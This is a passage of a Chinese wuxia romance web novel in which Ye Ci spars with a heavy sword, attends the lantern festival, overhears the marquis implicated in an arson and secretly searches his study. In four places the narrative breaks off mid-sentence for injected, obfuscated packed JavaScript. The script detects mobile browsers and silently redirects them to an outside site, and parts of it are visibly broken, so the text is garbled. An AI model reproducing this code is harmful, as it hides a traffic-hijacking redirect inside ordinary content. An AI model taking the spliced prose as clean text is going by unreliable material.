曾安礼笑了笑,却不看她,只是说:“叶姑娘喜欢便好,不必客气。” 不知怎么的,曾安礼这一顿饭吃得心神不宁,没过一会儿便推说身体不适,提前离开了,曾念薇担心她哥的身体,也跟着离开了,兄妹俩走之前安排了兵器堂的弟子,将叶慈和赵明予送下了山。 叶慈走在茌宁城的街道上,随手掂量着自己新得的千钧剑,这重剑虽然在曾安礼口中乃是新手工匠的失败品,但是叶慈却颇有些爱不释手。 与寻常兵器冷冽的寒光不同,千钧剑的剑身厚重,在日光下闪烁着耀眼却不刺眼的温和暖光,给人以浑厚之感。 她伸手抚摸了一下剑身,触感如玉,叶慈虽不太懂兵器,也觉得这着实是把好剑。 至于重量…… 她将重剑插到背后的剑鞘中,顺手挽了个剑花。 似乎真的还好? 叶慈从前就知道自己身体好力气大,只是不知道这么大,不过还好托曾家兄妹的福,也算是找到了适合自己的兵器。 她正沉浸在自己的世界中,并没有意识到自己方才的动作有多引人注目,茌宁城中本就侠客云集,二人此刻的位置离武林盟又近,寻常百姓很少到这来,只有在江湖上云游的侠客会慕名前来拜会。 她一个妙龄女子拿着把一人高的重剑,本就引人注目,她方才又明晃晃地将剑拿出来耍了一耍,更是将不少人的目光都吸引到了自己身上。 一位打扮干练的红衣女侠走上前来,对叶慈搭话道:“这位妹妹,你这把兵器瞧着不同凡响,不知是何处铸造的,能否借我一观?” 叶慈想了想,将剑解下来,单手递给女侠。 或许是看叶慈的模样轻松,女侠也单手接过,殊不知这千钧剑实在太沉,她竟一下没拿住,险些将剑摔在地上,亏得叶慈眼疾手快,又单手扶住了剑柄,这才没使剑身落地。 女侠看叶慈的眼神中多了几分不可思议,江湖之大,奇人甚多,女侠或许将叶慈也当成了某位身怀绝技的江湖侠客,当即拱拱手,问道:“不知是否有幸,请女侠赐教。” 叶慈也饶有兴趣,她拿到这剑,正好还没试过招,便道:“那便过两招吧。” 二人找了个空地,空地旁众人见有人比武,又是格外引人注目的两位女侠,被围得水泄不通。 二人拱手道:“请赐教。” 这女侠使的是鞭子,率先将鞭子一甩,灵蛇般直冲着叶慈面门而来。她脑海中霎时闪过与芳语对招时见过的许多招式的影子,抬剑便挡,二人瞬间便缠斗到一起。 千钧剑剑光如雷霆,在叶慈手中更是如鱼得水,她初时使了几招藏渊剑法中的招式,不知为何总觉得束缚,于是便随心所欲,想到哪招用哪招,也不管那招式出自何门何派。 “这用重剑的小姑娘到底是哪家的,招式这么乱,竟然还不落下风?”一名围观的侠客道。 “我家的,那是我娘子。”一旁的赵明予不知看了多久,颇为自豪地答道。他一身金灿灿的站在人群中,在比武二人的映衬下,竟也不再惹眼。 那名侠客没想到自己的自言自语竟然有人回答,他定睛一看,将赵明予认了出来:“你……你是,武安侯世子?” 赵明予点点头,没有丝毫遮掩身份的意思。 “我娘子招式虽杂,却胜在变幻莫测,这场比武,她会赢。” “但我看那红衣女侠也不差啊,看招式应是灵蛇派的,这灵蛇派的鞭法,可是专克重剑啊!”侠客道。 赵明予讳莫如深地摇摇头,那神情出现在他脸上,有种小孩穿大人衣服的感觉,颇为违和。 “你再仔细看看。” 那侠客再看场中,只见红衣女侠竟真的隐隐落了下风,而叶慈虽用的是重剑,但剑法轻灵,竟然似乎与用寻常长剑无异一般! “这……”那侠客惊得语无伦次,“这真是……见所未见。” 赵明予轻笑一声:“你没见过的还多着呢。” 说话间,红衣女侠已败下阵来,她拱手道:“我输了,不知可否请教女侠姓名。” 叶慈也学着她的样子拱手:“在下叶慈,不知阁下如何称呼?” “武林盟武堂红应,多谢赐教,我输得心服口服,只是不知叶姑娘师承何处?”她问。 这是今天第二次有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194948|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人问她这个问题了,叶慈想了想,还是答道:“无门无派。” 她话音刚落,赵明予便从人群中一个飞扑上来:“娘子真厉害!” 红应惊得手足无措:“没想到叶姑娘年纪轻轻,竟然已经成亲了。” 萍水相逢,叶慈不欲多解释,轻轻点了点头,道:“这便告辞了。” 她走出数步,听到红应在后面喊道:“叶姑娘若有闲暇,可来武堂一试,说不定能成为入门弟子啊!” 叶慈没回头,只是摆摆手,示意她知道了。 入夜后,宵禁前,茌宁城灯火通明,街上繁华异常,二人渐渐出了武林盟的地界,街上的寻常百姓多了起来,不知怎么的,赵明予一路上没说话,叶慈侧过头看他,见他表情似乎有些古怪。 “怎么了?”叶慈还以为是自己冷落了他,这人小孩心性,不高兴了。 赵明予看她一眼,收回眼神,又忍不住似的看她一眼,再收回,最后好像实在忍无可忍,颇有些恶狠狠地道:“娘子不会有了新兵器,就忘了我送你的匕首吧!” 赵明予似乎很想表达自己的生气,但话说出口,却带着几分撒娇似的嗔怪,不但起不到威胁的作用,反倒有些可爱。 叶慈总觉得他意有所指,好像不止是说千钧剑和那把无名匕首,而是生怕自己亲近曾安礼而冷落了他似的。 “嗯……你说哪把匕首?” 她故意装作忘记,想逗逗他,岂料赵明予听了,脚步直接停在原地,眼眶即刻就红了。 叶慈吓了一跳,忙凑近去哄他:“我开玩笑的!我怎么会不记得呢!定亲那日你送我的信物,对不对?而我无物可赠,只好予你一截断发,你看,我都记得呢。” 赵明予眼中泪水夺眶而出,像是受了天大的委屈,他边哭边断断续续地说:“那可不是一般的匕首,那是……那可是我娘的遗物。” 叶慈如遭雷劈,愣在了原地,这才知道自己开了个多不合时宜的玩笑。 赵明予的母亲安宁公主在他十三岁那年便去世了,而他同年便大病一场,从此心智停在了十三岁,可见安宁公主在他心中的地位。 他宁可自欺欺人,也不愿接受母亲已逝的事实。 而他将母亲的遗物当作信物送给她,是将一颗丹心都血淋淋地剖出来,捧到她面前,却被弃之不顾。 叶慈心中升起浓浓的愧疚,她踌躇了一下,第一次主动牵起了赵明予的手:“对不起,小石榴,我错了,我只是想逗你一下,其实我都记得的,我以后一定好好珍藏那把匕首,好不好?” 赵明予眼含泪花看着她:“娘子……” 他一把将叶慈抱进怀里:“娘子不要喜欢别人,只喜欢小石榴一个人好不好。” 十九岁的男性身躯已经趋于成熟,这样一个熊抱可以完全把叶慈包裹在怀里,不知为什么,叶慈觉得自己已经无法将赵明予的话当作孩童呓语来看待了。 此刻她觉得,赵明予就是个真正的男人。 在被男性气息包裹的热切表白和殷切期盼中,叶慈后知后觉地红了脸。 她几乎说不出一句话。 赵明予却不满她的沉默,松开叶慈,稍微拉开了两人的距离,又问道:“好不好,娘子?” “因为我也只喜欢娘子一个人呀。” 18. 第十八章 最后那夜赵明予还是没有得到他想要的回答,因为叶慈红着脸将他一把推开,自己跑回了武安侯府,脚程快得恨不得在城中用上了轻功。 自那天起,一直到茌原灯会那日,两人都再没说过一句话。 赵明予照旧每天早上在叶慈窗前练剑,但每当他收剑入鞘,想找叶慈说话,就发现那人的窗户已然重重闭上了。 他还以为自己那天太过唐突,惹得叶慈不高兴了,每天变着法地冲她示好,时而送花,时而送吃食,却都吃了闭门羹。 芳语和燕声也是丈二和尚摸不着头脑,大着胆子问过几次,却都得到叶慈的同一个回答:“大人的事小孩别管。” 她们瞧叶慈的样子,倒也不像生气,于是便更加费解。 二人虽同住一进院子,却彼此毫无交流,就这么不尴不尬地过了十天,终于到了茌原灯会这日。 在灯会前一天,曾念薇便遣人来传信,告诉叶慈自己明日会穿粉色,她哥哥则会穿蓝色,字里行间仿佛在暗示什么一般。 而灯会当天,芳语和燕声送来几套成衣供叶慈挑选,她手指抚过那些各色的绸缎,最终停在那件明黄色做底,上面还有金银双线交织绣着白鹤纹路的外衫上。 “因为我也只喜欢娘子一个人呀。” 赵明予那夜将她拥在怀里说的话仿佛又在耳边响起,叶慈忽然觉得有些耳热。 她指指明黄色的那件:“就这件吧。” 芳语和燕声心下了然,偷偷掩唇而笑:“夫人其实还是挺喜欢小世子的嘛。” 叶慈一个眼刀飞过去:“就你们话多!” 待梳妆完毕,已经到了下午,叶慈坐在梳妆台前,看着镜中人头上繁复的首饰,其中多数都是金饰,彰显着其不菲的价值。 而珠花金饰之下,是一张在这般繁杂的金玉雕饰下也不会被喧宾夺主的清丽面容,只需薄薄一层脂粉点缀,便让叶慈脱胎换骨一般,虽容貌未变,却与平日里气质大不相同,竟有些贵气逼人。 而她额上一点朱砂,则被完美地融入其中,仿若只是坊间最平凡的一枚花钿,却为她平添几分清冷。 叶慈的眼神止不住地往门外飘,燕声原本看到,促狭地笑道:“夫人别看了,世子早在外面候着了。” “越发没大没小了。”叶慈瞪她一眼,耳根却不争气地红了。 她打开门,果然看到赵明予正立在门外,像只嗷嗷待哺的小动物,见到叶慈,眼睛忽地亮了。 他因常年练武,宽肩窄腰,背脊也挺得很直,乌发依然束成马尾,乍一眼看去,不像金尊玉贵的小公子,反倒像个风流倜傥的俊俏侠客。 只是—— 叶慈意外地发现,他今日竟然没穿金色,反而穿了一身蓝色。她看看对方,又看看自己,有些进退维谷。 赵明予也发现了这一点:“娘子,你怎么……” 而不等她说完,外头便有丫鬟来报:“世子,夫人,曾家的公子小姐到了,已在前厅候着了。” 叶慈不好意思让客人多等,便心一横,道:“算了,再不走便来不及了。” 说罢,便与赵明予一同去了前厅。 “叶姐姐,明予哥哥!”曾念薇见了他们,便热情地打招呼,待她看清二人的装束,打招呼的手便停在半空—— “咦?”她冲上前来,先围着叶慈转了一圈,又围着赵明予转了一圈,“你你你们!你们不是也像最近流行的话本子一样,夫妻互换躯体了吧?” 曾安礼原本正在一旁摇着扇子,闻言收起折扇,一扇子敲在曾念薇头顶:“说什么浑话呢。” 他虽这样说,但眼神里也带着几分讶异与笑意。 叶慈被这二人的大惊小怪弄得更不好意思了,故作镇定道:“不过是偶尔换换风格……” 曾念薇恍然大悟:“我知道了,这便是坊间最近最流行的‘夫妻互换衣橱’对吧……” 她没说完,就被曾安礼忍无可忍地捂住了嘴:“天快黑了,我们快出发吧。” 叶慈忙不迭地答应。 茌宁城今晚的街上人比往常都多,几乎每家每户的人都出了门,更有不少从外地慕名而来的云游侠客,想要见识见识茌原灯会的盛况。 叶慈和曾念薇走在前面,赵明予和曾安礼则走在两人后面,他二人今日都穿了蓝色,气氛一时之间有些诡异。 “可恶……本来是想和娘子穿同色的……”赵明予咬牙切齿地说。 曾安礼也是费劲力气才堪堪维持住脸上的微笑:“你怎么不事先问清楚……” 赵明予一听更郁闷了:“我倒是想问……” “你们俩聊什么呢!”曾念薇回过头来,兴奋地说,“我和叶姐姐去那个摊位看看!” 说罢,拉着叶慈便跑到一个卖珠钗首饰的摊位前,饶有兴致地挑选起来。 曾安礼凑到叶慈跟前:“念薇她还是第一次跟同龄朋友来逛灯会,难免有些兴奋,叶姑娘别见怪。” 叶慈笑了笑,回道:“自然不会,我也是第一次来逛灯会,说起来,念薇妹妹别觉得我没见过世面才好。” “好了好了别理我哥了,快,叶姐姐看看,这两个哪个好看?” “这个桂花的看着明艳,紫薇则小巧活泼,两个都好。”叶慈看着两个钗子,认真答道。 “嗯……”曾念薇犹豫片刻,便做了决定,“那我便买这个紫薇的,另一个桂花的,我看倒是很适合叶姐姐,就让明予哥哥买给你吧!” 她笑着将钗子举到叶慈头上比了比:“你看好看吗,明予哥哥?” “我娘子当然怎样都好看。”赵明予爽快地掏出一两银子,递给小贩,财大气粗地说,“不用找了。” 小贩千恩万谢地将桂花钗子递给他,赵明予接过,说:“娘子,我替你戴上如何?” 叶慈笑了笑,默许了。 赵明予替他簪上,又赞了一句:“真好看!” “叶姐姐,那个泥人儿也好可爱啊!”叶慈还没来得及回应,便又被曾念薇拉走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200696|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “咦,这小泥人儿做得真精巧。”叶慈看着推车上各色的小泥娃娃,由衷地赞叹道,但她还没来得及细看,便又被曾念薇拉去玩套圈了,曾安礼颇为无奈地跟在二人屁|股后面,在街上各个小摊之间乱窜。 “叶姐姐,这个颜色的胭脂适合你。”曾念薇拈起一抹浅粉色点在叶慈唇间,“这颜色显得俏皮,又不喧宾夺主,真好看!你说是不是,明予哥哥?咦?明予哥哥呢?” 叶慈也看向身后,发现刚才还与曾安礼并肩而行的赵明予不知什么时候竟然不见了身影。 “糟了。”曾安礼道,“莫不是走失了。” “这下可不好了!”曾念薇也慌了神,“这灯会上这么多人,明予哥哥会不会是被人流冲走,找不到我们了,这可怎么办啊?” 赵明予心智不全,若是走失还好,至少这茌宁城中百姓对他也有几分脸熟,但若是被什么心怀叵测的人骗了,那麻烦可就大了。 叶慈强行稳住心神,道:“不慌,我们顺着来路分头找找,若找到便带到此处等候,若找不到,一个时辰后,也要在此处集|合,如何?” 曾家兄妹纷纷点头同意,各自去找人了。 而在三人不知道的角落,隔着灯火通明的街市,赵明予立在一隅黑暗中,他眼神阴狠,接过了面前黑衣人递来的字条,上面只有短短六个字—— “今夜,侯府,临渊。” 赵明予颇为意外地挑眉问道:“这是仇嬷嬷的意思?” 黑衣人从黑暗中一闪身,便到了灯光下,正是赵明予身边小厮单义,他点点头。 赵明予见他点头,沉声道:“知道了。” 黑衣人闻言,身形一晃,便没了踪影,显然有极高的轻功傍身。 赵明予见他离去,才重新走进灯火通明处,一队敲锣打鼓的戏班子刚巧路过,他听到锣鼓声,有些不耐烦地皱皱眉,下一秒,便恢复了平素痴傻的模样,左顾右盼一阵,看到方才得了叶慈夸赞的泥人摊子,抬脚向那摊子走了过去。 与此同时,茌宁城外一家小客栈中。 与茌宁城内的热闹繁华不同,这家小客栈里有些冷清,大概是客人全都进城去参加灯会的缘故。月光照下来,便能看到客栈院子里的桌椅都已残破,可见若非是有灯会,这小客栈平常也不会有人来住店。 小二将牛肉和酒菜端进客房,心想这地方经年累月也没人路过,却没想到这人竟然在这住了一月有余,一开始以为他是来看灯会的,谁知道今日灯会,这人也不出门,不是冤大头是什么。 房门打开,却只露了很小一条缝,可若是叶慈在这,便能认出,这人便是将她养在身边十余年的樵夫,乔二。 他此刻剃了络腮胡子,又将一头乱发梳起,竟好像变了个人似的,连眼神都比从前锐利许多,斜斜乜了一眼那小二,便将他吓得退后几步。 乔二接过放着酒菜的盘子,便一把将门关上,他看着远方茌宁城中的热闹灯火,喃喃道:“安生日子到头咯——” 19. 第十九章 叶慈找到赵明予的时候,他正专心致志地盯着买泥人儿的小贩。 那小贩手巧得很,三两下便将一团泥巴捏成了两个小人儿形状,赵明予张张嘴,似乎是在描述什么,那人手下也跟着动,顷刻间,两个活灵活现的小人儿便出现在他手中。 其中一个头发束成马尾,身着金衣,是个男子;另一个则头发披下,身穿水蓝色外衫,是个水灵的女子。 他接过两个泥人儿,似乎很满意似的,将两个泥娃娃看了又看,上下端详了一遍,才付钱离开。 然而他刚走几步,便被人重重撞了下肩膀,不仅泥人儿掉在了地上,连钱袋子也掉了。 还不等他捡,已经有一双手抢在前面将钱袋捡了起来,还一脚踩掉了泥人儿的半个肩膀。 “你!”赵明予猛地抬起头,眼前是一个布衣打扮的男人,浑身上下透着混不吝的气质,像是个街头混混。 那人上下打量赵明予,又意有所指地看看他身后,挑衅道:“哟,这是哪家的小少爷,怎么身旁也没个随从。” “把钱袋还给我!”赵明予出来时并未佩剑,此刻两手空空,只能故作凶狠地威胁。 叶慈见状,一个箭步上前,直接从后面踹出一脚,把那个混混踢得人仰马翻。 “你知道自己面前的是什么人吗?”她居高临下地问。 那混混挨了一脚,揉着屁|股龇牙咧嘴地骂道:“你个臭娘们,什么东西,敢踹老子?” 说着,他站起来,抬手就要打叶慈。 赵明予抬手想挡,叶慈却比他更快,抬脚便扫他侧腰,又一拳劈在颈侧,以攻代守,两招便打得这混混眼冒金星。 “他可是武安侯世子,抢别人钱袋之前,先掂量掂量自己惹不惹得起。”叶慈冷冷道,“今夜之后,你若还想活着,便趁早滚出茌宁。” “我们走。”她说完,拉起赵明予便要走,赵明予却停在原地。 “怎么了?” 他看看地上不知什么时候被踩得稀烂的泥人。 叶慈叹了口气:“走,我们再去买一个。” 半晌,赵明予拿着手中两个与方才一模一样的泥人,终于笑了。他将那个捏着自己的递给叶慈:“娘子,送给你。” 娘子看着那泥人,觉得似乎有什么不对:“怎么与我今日的装束一点儿也不像。” 赵明予却笑着摇摇头:“娘子平日爱穿蓝色,金色是我爱穿的。” 你爱蓝色,不必为了迁就别人而改变自己的喜好。 叶慈有些感动,她收下泥人,小心地放进了腰间金丝绣线的荷包中——那是茅屋大火后,赵明予带她偷偷上山的那晚,用来装字条的荷包。 赵明予看她依然贴身带着,嘴角勾了勾,但不知想到了什么,眉头又微不可见地一皱,随即便恢复了往常的样子,将捏成叶慈的泥人小心翼翼地揣到了胸口的衣服里,好像生怕又被谁弄坏了一般。 “走吧,念薇妹妹和曾公子在那边等我们呢。”叶慈领着赵明予向约定处走去,岂料刚转身,便看到一个蓝色的身影,正是曾安礼。 他对上叶慈的眼神,收了扇子,走过来,微微笑着。 “你都看见了?”叶慈有些不好意思,“方才一时情急……” 曾安礼却摇了摇头,几度欲言又止,最终还是开口道:“轼流能得妻如此,在下甚是……羡慕。” 醉香楼忽地奏起了乐,是有人点了今夜花魁的灯,一夜千金,毫不夸张。 叶慈被器乐声扰了注意力,没听清曾安礼的后半句,问:“曾公子方才说什么?” 曾安礼慌乱地移开目光:“没什么。” 赵明予却什么都听见了,看他的眼神中都多了些敌意。 等三人寻到约定的地方,曾念薇已经在那儿等了许久了,她正四处张望着,看到三人,冲他们激动地挥手。 “明予哥哥,你去哪了?可把我们吓死了!”曾念薇道。 赵明予羞赧地笑笑:“我见娘子喜欢泥人,便去买了回来,一时心急,忘了跟大家说一声,真抱歉。” 曾念薇一下子被转移了注意力:“那泥人呢?” 赵明予煞有介事地捂着自己的胸口:“娘子的泥人是我的,谁都别想抢。” “真小气!好了好了,马上到放灯的时间了,我们快去吧!不然就要错过时辰了!” “放灯?”叶慈问。 “是呀!”曾念薇老神在在地介绍,“当年太祖皇帝被离大侠救了以后,便是放了孔明灯,才联系上茌原的守城大将,最后调得援军的。因此茌原灯会中最重要的环节,便是放灯,大家都以此纪念太祖皇帝和离大侠呢!” “哝,你看!”她说着,只想一旁街边的花灯。 叶慈这才发现,这路边花灯上的图案都不是随便画的,其上都是动作神态各异的人物插画,但无一例外,全都是同样的两个人。 其中一个身穿甲胄,将军姿态,应当是太祖皇帝,而另一人则一袭白衣,马尾高束,身形轻盈,似有玲珑,不仅不像传说故事里的“老者”,反而越看越像…… “怎么像是个女子?”叶慈脱口而出。 “叶姐姐你说什么?” “我说这位离大侠,怎么看着像是个女子,看着似乎也并不老?”叶慈又重复一边。 “嗯……”曾念薇端详片刻,似乎觉得她说的有道理,思考了片刻才说,“这些插画据说都是太祖皇帝亲自画的,一代代传下来,每年茌原灯会时,都以太祖皇帝的画作为蓝本,誊到灯上,应当是不会出错的。” “那应该就是传说除了错吧。”曾安礼也道,“这么多年来,口口相传,谁也不知道真假,大家也从未细究过。就如我们,若不是叶姑娘今日发现这画上的似是女子,我们想必也不会觉得有什么问题。” “好啦别想这些没用的了,我们快去放灯吧!据说写在灯上的愿望会得上天庇佑,做什么都能像太祖皇帝当年一样,逢凶化吉!”曾念薇道。 “好。”叶慈也没再细想,随众人来到了茌宁城中最高的一座佛塔前。 武林盟中三教九流汇聚,其中不乏笃信佛法的,有人长期定居于此,便在茌宁城外建了座寺庙,而佛塔则建在了城中,供路过之人朝拜。 “传说曾有武僧圆寂于茌宁,其舍利就供奉在塔内。”曾安礼立在塔下,说道,“因此便有了此塔可护百姓平安的传说,久而久之,便成了大家放灯祈福的地方。” 茌宁城内熙熙攘攘的人群都在往佛塔处汇聚,几乎人人手中都拿了一盏孔明灯。 曾念薇早准备好了,她提前找店家定制了四盏灯,上面分别画着四人的小像,早早地就期望能与朋友们一同放灯。 “来了来了!”她匆匆取灯回来,手中还拿着四支笔,很有仪式感地分发给三人,“写愿望的时候,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221695|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要虔诚哦,这样愿望才有可能被上天听到!” 她说罢,自己先大剌剌地在灯罩上写下了“平安康健”四个大字。 叶慈意外道:“念薇妹妹的愿望竟这么简单。” 曾安礼微微一笑:“有时简单的,才最难实现。” 接着,他也写上了“天下安宁”四个大字,说道:“只愿天下人不必再受战乱之苦,失去亲人。” 赵明予则奋笔疾书,此刻已写了五六行了,曾念薇赶快阻止他:“明予哥哥,你写这么多,老天爷都该看不清了!” 曾安礼被逗得开怀大笑。 叶慈想了想,终于也写下了自己的心愿—— “昭昭如愿,岁岁安澜(1)。” 写罢,钟声敲响,吉时到了。 “快,慈姐姐,该点灯许愿了!”曾念薇招呼道。 叶慈一愣,眼眶一酸,问道:“你叫我什么?” 曾念薇莫名其妙道:“叶姐姐啊,别愣着了,再拖愿望就该不灵了!” 原是她幻听了。 叶慈举起双臂,与众人一同放飞天灯。 她在心底默默想:希望师父和小涟不管生活在哪里,也都能平安健康。 …… 茌原灯会这日,城中没有宵禁,众人一直在外面夜半才回府,曾家在城中亦有设府,兄妹俩便没再上山,直接回了城中的府邸。 叶慈今日玩得尽兴,只是实在不适应这身装束,刚回府便迫不及待地想回房间把那些首饰全卸下来,好让脑袋轻松一下,岂料刚进门便被仇嬷嬷拦了个正着。 “世子,夫人,今日灯会佳节,二位理当向侯爷请安才是。” 今日高兴,叶慈决定暂时放下对仇嬷嬷的不满,也想早点请完安早点回房,便欣然答应了。 只是前厅似乎有客,叶慈想起上次曾家兄妹来时,也是通报一声就能进去,只是或许是时候太晚,前厅门前竟没人值守,她凑近了,听到厅中的交谈声似乎有些激烈,此刻才意识到,赵渊大概不是在与人聚会,而是在议事,而且似乎还吵得很激烈。 她看看赵明予,赵明予则看看她,两人都不知到底该进还是不该进。 厅中的争吵声越发激烈,叶慈依稀听到“缁带教”、“围剿”之类的词语,直到厅内人所谈论的不是自己能插嘴的,便决定先回房再说。 她拉了一下赵明予的衣角,示意他先离开,然而二人刚抬脚,屋里便传来一声清脆的碎裂声,似乎是摔碎了什么东西。 “你当我不知道,你那儿媳家的火,应当就是你的手笔吧!” “你休要胡乱攀咬!说起来,那时为轼流算命的方士是你找的,为何找来的人会与当年那个孩子长得那么像!我又如何知道你是不是在其中搞了什么鬼!” 叶慈脑中好像有什么东西轰然炸开,她如遭雷击,连脚下步伐都几乎不稳。 “娘子,你没事吧?”赵明予关切地问道。 叶慈从没有哪一刻像现在这么恨过他的孩童心智,抓起赵明予的胳膊,使出蝉步便跃出几丈远。 习武之人耳力超群,屋中二人虽然吵得不可开交,但赵明予发出的动静已经足够让他们警觉,立刻推开门来查看。 只见屋中出来的,正是赵渊和孟临,他们四下查看,连个鬼影都没见着,唯有路旁树叶簌簌作响。 二人对视一眼,眼中是如出一辙的阴沉。 20. 第二十章 叶慈拉着不明就里的赵明予,一刻也不敢停地回了房间。她直到回到房间里躺在床上,脑袋里都还嗡嗡的,有些恍惚。 她曾怀疑过是山火,也怀疑过会否是她父亲的仇家故意纵火,甚至怀疑过是不是乔二不愿意和侯爵家扯上关系,所以才故意纵火金蝉脱壳,却从没怀疑过赵渊这个她名义上的公爹。 在她的认知中,她实在想不出武安侯这个天潢贵胄要加害乔二这一介草民的原因。 她思来想去,辗转反侧到半夜,猛地坐起身来,轻手轻脚地穿衣穿鞋,从窗户翻了出去,没有惊动在外间值夜的芳语和燕声。 叶慈虽相信乔二和祁涟一定还活着,但是若无法查清赵渊纵火的动机,她便无法安心生活在这仿似鬼影重重的武安侯府之中。 因此,即便此举异常冒险,她还是决定夜探赵渊书房。 练武已有月余,叶慈此刻再用轻功蝉步,已经可以明显地感受到身轻如燕这四个字真正的含义。 她悄无声息地翻墙出了院子,又巧妙地避开了所有的值夜丫鬟与侍卫,而她不知道的是,在她翻墙出去时,一个黑影紧随其后,也跟了出去。 那人的身法显然更加精妙,不仅没有惊动侍卫,连叶慈也没有发现丝毫端倪。 赵渊的书房中未点烛火,叶慈在窗户纸上捅了个小孔,通过小孔观察里面的情况。 借着月光,她看到桌案上收拾得整整齐齐,并未有笔墨纸张,只有几本书被摞在桌角,不像是有人的样子。 叶慈推开窗户,轻巧地翻了进去。 她从怀中摸出一个火折子,这是她今夜在灯会上看着有趣买下的,没想到竟这么快就派上了用场。 火光亮起的那刻,叶慈看清了桌案上那几本书的书名,《七脉秘功》、《居阴秘引》、《灵蛊遂源》…… 虽然对江湖派系不甚了解,但叶慈总觉得那不是什么正经功法。 记得当初仇嬷嬷告诉她茅草屋的噩耗时,说的是侯爷已经派人调查过了,叶慈翻了翻书案的抽屉,指望他的所谓“调查”能留下些痕迹,若能让她找到些密信之类的,了解那场大火的原委,便更好了。 然而赵渊这些年的武安侯毕竟不是白当的,这种显而易见能藏东西的地方放的全是一些无关痛痒的公文书信往来,就算别人看到了也只会赞他一声称职,并无法从中发现任何端倪。 叶慈在抽屉中摸索着,仍不死心,她忽然觉得有什么不太对劲。 她将手指屈起,敲了敲最底层抽屉的底部。 声响不对,这抽屉底下不是空的,里面有夹层! 叶慈又仔细摸索一阵,果然摸到一处凸起,她用力一扣,便将木板翘了起来,将木板推开之后,便看到下面放着个红漆盒子,她虽然不懂,也看得出这盒子用的应当是上好的材质,上面镂刻着凤凰仙鹤之类的祥瑞,雕工细致,也不知做这盒子的工匠来自何方,拥有如此精湛的技艺。 她小心翼翼地取出盒子,生怕弄坏弄脏了,拿在手中端详片刻,没看出什么端倪,这才打开来看。 在幽幽火光的照射下,盒中物品被折射出雍容的金光。 那是一支金簪,与寻常金簪不同的是,这支金簪上面没有任何纹饰,簪身笔直,到了尾端却很尖利,而簪头的形状却像个剑柄,让整支簪子浑然一体,成了一柄长剑。 这种样式的簪子并不常见,叶慈将它放在手上掂量了一下,从重量来看,仿佛还是纯金的。 大婚第二日,在向武安侯敬茶时,这支簪子曾经代替赵明予的生母安宁公主,静静地坐在堂上的木椅中。 叶慈记得那时赵明予曾告诉她,那是安宁公主生前最喜欢的一支簪子,被武安侯如此珍而重之地收藏,倒是也说得过去。 她刚想将簪子放回漆盒,余光却突然瞥见那簪子上似乎有污渍。叶慈将簪子凑近火折子,仔细端详着,却发现那污渍暗红,且集中在簪子上凹陷的槽中,不像是灰尘,却像是干透了的陈年血渍。 叶慈心下大震,总觉得这簪子或许承载了什么不足为外人道的陈年往事,又仔细研究片刻,确认上面没什么其他关窍,才将簪子放回了漆盒。 书房中仍有许多书架,叶慈没在案上发现其他线索,仍想趁夜还长继续搜索书架,却蓦地听到“咚咚”两下敲击声。 她心中警铃大作,忙找了个角落藏身。 “娘子,是我。”熟悉的声音传来,虽因为压低声音,音色不似往常清亮,却仍能听出那是赵明予的声音。 叶慈没有轻举妄动。 “我爹快回来了,你快出来!” 那道声音带上了一丝焦急,叶慈忖度片刻,熄了火折子,翻窗出去了。 赵明予穿着夜行衣,面上不掩焦急神色,似乎在看到叶慈出来以后,才终于松了口气。 “我们快走!” 叶慈点点头,运起轻功,与他一道离开。 还未到后宅,叶慈却突然发难,她见四下无人,从背后抓住赵明予的领子,将他一把撂到了地上。 一把匕首从她袖中滑落,正是赵明予给她的那把无名匕首,而此刻正抵在赵明予的喉咙上。 “为什么跟着我?”叶慈冷然道。 赵明予似乎虽叶慈的举动颇为意外,他瞪大了双眼,无辜的小鹿似的,磕磕绊绊道:“我……我恰巧没睡,看到娘子你翻墙出去,好奇……” 他脖颈一凉,听到叶慈的声音更冷了:“说实话。” 赵明予眼角的泪花都出来了:“呜呜呜……我见娘子和曾家兄长亲密,又见你从灯会回来后便心神不宁的,还以为……还以为……” 他越说越哽咽,叶慈却忍不住笑了:“还以为我和他有奸|情?” 赵明予可怜巴巴地点点头。 叶慈松了口气,看来他在前厅门外时并未听懂孟临与赵渊话中所指,因此一直以为自己的心不在焉是受曾安礼的影响。 她收起匕首,将赵明予拉起来,替他拍拍身上的灰:“没这回事。” 赵明予下意识地摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 